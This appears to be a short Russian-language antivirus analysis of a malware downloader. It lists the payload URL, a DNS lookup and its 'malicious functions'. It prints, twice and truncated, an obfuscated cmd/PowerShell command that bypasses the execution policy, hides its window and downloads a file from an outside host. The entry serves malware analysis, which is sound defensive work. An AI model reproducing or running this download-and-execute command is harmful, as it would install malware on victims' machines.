Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^oW^er^sHELL^.^Exe ^-E^X^eC^U^t^i^oNP^oL^i^CY^ ^B^Yp^aS^s -n^o^pROfIl^e -^WINdoWstyL^E ^hID^De^n^ (^n^Ew-ob^JEC^T^ ^SYsTe^m.^net.wEb^c^LiE^nt)^.D^Ow^N^L^oa^d^F^I^L^e('http://transp...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^oW^er^sHELL^.^Exe ^-E^X^eC^U^t^i^oNP^oL^i^CY^ ^B^Yp^aS^s -n^o^pROfIl^e -^WINdoWstyL^E ^hID^De^n^ (^n^Ew-ob^JEC^T^ ^SYsTe^m.^net.wEb^c^LiE^nt)^.D^Ow^N^L^oa^d^F^I^L^e('http://transp...' (со скрытым окном)
